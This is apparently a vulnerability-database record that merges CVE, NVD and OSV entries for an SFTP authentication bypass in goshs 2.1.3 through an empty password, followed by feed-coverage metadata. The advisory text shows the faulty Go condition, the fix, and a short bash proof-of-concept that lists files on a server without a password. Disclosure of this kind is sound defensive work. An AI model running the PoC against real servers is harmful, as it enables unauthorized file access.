{"id":"GHSA-rjrw-mjq6-hpmm","revision":null,"records":[{"revision":"42c5c46b34fd42c98a3c4cb02873a4d1","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-62325","aliases":[],"title":"goshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884)","description":"goshs is a feature-rich single-binary file server for red teamers and developers. From 2.1.3 until 2.1.4, the sftpserver/sftpserver.go password handler used Username != \"\" && Password != \"\", so running goshs with -b 'admin:' -sftp and no -fkf left both SFTP authentication handlers unset and allowed unauthenticated file access. This issue is fixed in version 2.1.4.","state":0,"publishedAt":"2026-07-28T21:52:05.595+00:00","modifiedAt":"2026-07-29T13:25:38.846+00:00","affected":[{"ecosystem":"Vendor product","name":"goshs","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"goshs-labs\",\n                    \"product\": \"goshs\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 2.1.3, < 2.1.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"severity":"CRITICAL"}],"references":["https://github.com/goshs-labs/goshs/security/advisories/GHSA-rjrw-mjq6-hpmm","https://github.com/goshs-labs/goshs/commit/32f4a0e1790a709f722d0f3b2341f139d003180a","https://github.com/goshs-labs/goshs/releases/tag/v2.1.4"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-62325","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-62325","identifiers":["CVE-2026-62325"]},"retained":false,"historicalAffected":[]},{"revision":"b63c5ce534624f71b04ca0a97bc427d9","observedAt":"2026-10-25T14:19:28.838+00:00","statement":{"source":"nvd","id":"CVE-2026-62325","aliases":[],"title":"goshs is a feature-rich single-binary file server for red teamers and developers. From 2.1.3 until 2.1.4, the sftpserver/sftpserver.go password handler used Username != \"\" && Password != \"\", so running goshs with -b 'admin:' -sftp and no -f…","description":"goshs is a feature-rich single-binary file server for red teamers and developers. From 2.1.3 until 2.1.4, the sftpserver/sftpserver.go password handler used Username != \"\" && Password != \"\", so running goshs with -b 'admin:' -sftp and no -fkf left both SFTP authentication handlers unset and allowed unauthenticated file access. This issue is fixed in version 2.1.4.","state":0,"publishedAt":"2026-07-28T23:17:10.077+00:00","modifiedAt":"2026-10-23T23:10:00.157+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"severity":"CRITICAL"}],"references":["https://github.com/goshs-labs/goshs/commit/32f4a0e1790a709f722d0f3b2341f139d003180a","https://github.com/goshs-labs/goshs/releases/tag/v2.1.4","https://github.com/goshs-labs/goshs/security/advisories/GHSA-rjrw-mjq6-hpmm"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-62325","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-306"],"productCriteria":[],"sourceDates":{"published":"2026-07-28T23:17:10.077","lastModified":"2026-10-23T23:10:00.157"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-62325","identifiers":["CVE-2026-62325"]},"retained":false,"historicalAffected":[]},{"revision":"4fe268afabbe4286b9afb55d954bb19f","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-rjrw-mjq6-hpmm","aliases":["CVE-2026-62325","GO-2026-6132"],"title":"goshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884)","description":"## Summary\n\nStart goshs v2.1.3 with `-b 'admin:' -sftp`. No `-fkf`. SFTP accepts connections without password. CVE-2026-40884 blocks the empty-username variant (`-b ':pass'`). The empty-password variant bypasses that fix.\n\n## CVE-2026-40884\n\n**CVE-2026-40884** (GHSA-c29w-qq4m-2gcv, Apr 13 2026) reported the empty-username case: `-b ':pass'` with `-sftp`. `sftpserver.go:85` uses `&&`:\n\n```go\nif s.Username != \"\" && s.Password != \"\" {\n    sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {\n        return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 && subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1\n    }\n}\n```\n\nEmpty username → `Username != \"\"` false → `PasswordHandler` nil. No `-fkf` means `PublicKeyHandler` also nil. gliderlabs/ssh sees all handlers nil and sets `NoClientAuth = true`. Unauthenticated access.\n\nPatrickhener fixed it with a sanity check at `sanity/checks.go:114-118`:\n\n```go\nif opts.FTP && opts.FTPSFTPMode && strings.HasPrefix(opts.BasicAuth, \":\") {\n    logger.Fatal(\"When using SFTP with password authentication, the username cannot be empty. ...\")\n}\n```\n\n`HasPrefix(\":\")` catches empty username. It does not catch empty password.\n\n## Empty Password Bypass\n\nSame `&&` at `sftpserver.go:85`. Same nil handler. Different input:\n\n```\ngoshs -b 'admin:' -sftp\n```\n\n- `Username = \"admin\"`, `Password = \"\"`\n- `Username != \"\" && Password != \"\"` → false. Password is empty.\n- `PasswordHandler` not set. No `-fkf` → `PublicKeyHandler` not set.\n- gliderlabs/ssh → `NoClientAuth = true`.\n\nCVE-2026-40884 patched the symptom (empty username) with input validation. Root cause (`&&`) stayed in the code. v2.1.3 still has it. That makes any unanticipated input format exploitable.\n\n## PoC\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nHOST=\"${1:-127.0.0.1}\"\nPORT=\"${2:-2121}\"\n\necho \"[*] Connecting to goshs SFTP at $HOST:$PORT with empty password...\"\necho \"ls -la /\" | sftp -o StrictHostKeyChecking=no \\\n  -o UserKnownHostsFile=/dev/null \\\n  -o PreferredAuthentications=none,password \\\n  -o PubkeyAuthentication=no \\\n  -P \"$PORT\" -b - admin@\"$HOST\" 2>&1 && \\\n  echo \"[+] VULNERABLE: Connected without password!\" || \\\n  echo \"[-] Connection failed (patched or not running)\"\n```\n\n## Root Cause\n\n```go\n// Wrong: &&\nif s.Username != \"\" && s.Password != \"\" {\n\n// Correct: ||\nif s.Username != \"\" || s.Password != \"\" {\n```\n\n`&&` blocks `PasswordHandler` when either field is empty. `||` installs it when either field is set.\n\n## Incomplete Fix\n\nPatrickhener added `HasPrefix(\":\")` at `sanity/checks.go:116`. Two gaps remain:\n\n1. `&&` still at `sftpserver.go:85` in v2.1.3\n2. No `HasSuffix(\":\")` check for empty password\n\n## Impact\n\n- Unauthenticated SFTP file access (read, write, delete, rename)\n- Same impact as CVE-2026-40884 via a different input\n- Exploitable with `-b 'user:'` and no `-fkf`\n\n## Affected\n\nAll goshs versions including v2.1.3. CVE-2026-40884 fix does not cover this variant.\n\n## Recommended Fix\n\n1. `&&` → `||` at `sftpserver/sftpserver.go:85`\n2. `HasSuffix(\":\")` check at `sanity/checks.go`\n3. Shared auth handler setup for HTTP and SFTP code paths","state":0,"publishedAt":"2026-07-28T21:56:28+00:00","modifiedAt":"2026-08-18T15:10:54.0390704+00:00","affected":[{"ecosystem":"Go","name":"github.com/patrickhener/goshs/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.1.3"},{"kind":"fixed","version":"2.1.4"}]}],"versions":["2.1.3"],"rawVersionEvidence":null},{"ecosystem":"Go","name":"goshs.de/goshs/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.1.3"},{"kind":"fixed","version":"2.1.4"}]}],"versions":["2.1.3"],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/goshs-labs/goshs/security/advisories/GHSA-rjrw-mjq6-hpmm","https://github.com/goshs-labs/goshs/commit/32f4a0e1790a709f722d0f3b2341f139d003180a","https://github.com/goshs-labs/goshs","https://github.com/goshs-labs/goshs/releases/tag/v2.1.4"],"sourceUrl":"https://github.com/advisories/GHSA-rjrw-mjq6-hpmm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-rjrw-mjq6-hpmm","identifiers":["GHSA-rjrw-mjq6-hpmm","CVE-2026-62325","GO-2026-6132"]},"retained":false,"historicalAffected":[]},{"revision":"16dfaf4ff10b4547b97f2758c2285bbc","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6132","aliases":["CVE-2026-62325","GHSA-rjrw-mjq6-hpmm"],"title":"goshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884) in goshs.de/goshs","description":"goshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884) in goshs.de/goshs","state":0,"publishedAt":"2026-08-18T14:32:29+00:00","modifiedAt":"2026-08-18T15:00:22.7972466+00:00","affected":[{"ecosystem":"Go","name":"goshs.de/goshs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"goshs.de/goshs/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.1.3"},{"kind":"fixed","version":"2.1.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/goshs-labs/goshs/security/advisories/GHSA-rjrw-mjq6-hpmm","https://github.com/goshs-labs/goshs/commit/32f4a0e1790a709f722d0f3b2341f139d003180a","https://github.com/goshs-labs/goshs/releases/tag/v2.1.4"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6132","license":"OSV · upstream source license applies","key":"osv:GO-2026-6132","identifiers":["GO-2026-6132","CVE-2026-62325","GHSA-rjrw-mjq6-hpmm"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T11:13:09.4007372+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-26T11:13:09.4007372+00:00","lastSuccessAt":"2026-10-26T11:13:09.5751909+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:09.5751943+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-f372ad4ebad95d0372251a2b800e134bcac5b2473e19479f542e5c01536704c4","complete":true,"records":414140,"lastAttemptAt":"2026-10-26T11:13:08.2100525+00:00","lastSuccessAt":"2026-10-26T11:13:08.1783835+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:08.2100525+00:00","snapshotPublishedAt":"2026-10-26T10:23:49+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T11:13:12.1268098+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":4764,"expectedIdentifiers":13474},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T11:13:09.4007372+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T11:13:09.4007372+00:00","lastSuccessAt":"2026-10-26T11:13:09.5760274+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:09.5760278+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-204a3fb93a00487e8f7f36db01dc851d","complete":true,"records":13413,"lastAttemptAt":"2026-10-26T11:13:10.0887317+00:00","lastSuccessAt":"2026-10-25T16:19:28.681+00:00","error":null,"lastVerifiedAt":"2026-10-25T16:19:28.681+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13474,"expectedIdentifiers":13474},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-2375a4e597279abf92e8747e140fe8da9d421877cd49cae3ac69a2cb78469b2c","complete":true,"records":9779,"lastAttemptAt":"2026-10-26T11:13:09.2366743+00:00","lastSuccessAt":"2026-10-24T13:19:53.1346702+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:09.2366743+00:00","snapshotPublishedAt":"2026-10-24T03:03:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-26T11:13:08.7373454+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:08.7373454+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7da67a15aa6e56a0e3081a7646dc74d537e6ef974afc593c2b1794ed01970648","complete":true,"records":2969,"lastAttemptAt":"2026-10-26T11:13:09.3558968+00:00","lastSuccessAt":"2026-10-24T13:19:59.1145547+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:09.3558968+00:00","snapshotPublishedAt":"2026-10-24T08:47:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-654e90fb44abcd729ddecf56d54c1b46ce87ca3181850e8bc65d5c8befceb659","complete":true,"records":230805,"lastAttemptAt":"2026-10-26T11:13:08.8456799+00:00","lastSuccessAt":"2026-10-26T08:22:30.1390577+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:08.8456799+00:00","snapshotPublishedAt":"2026-10-26T07:48:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}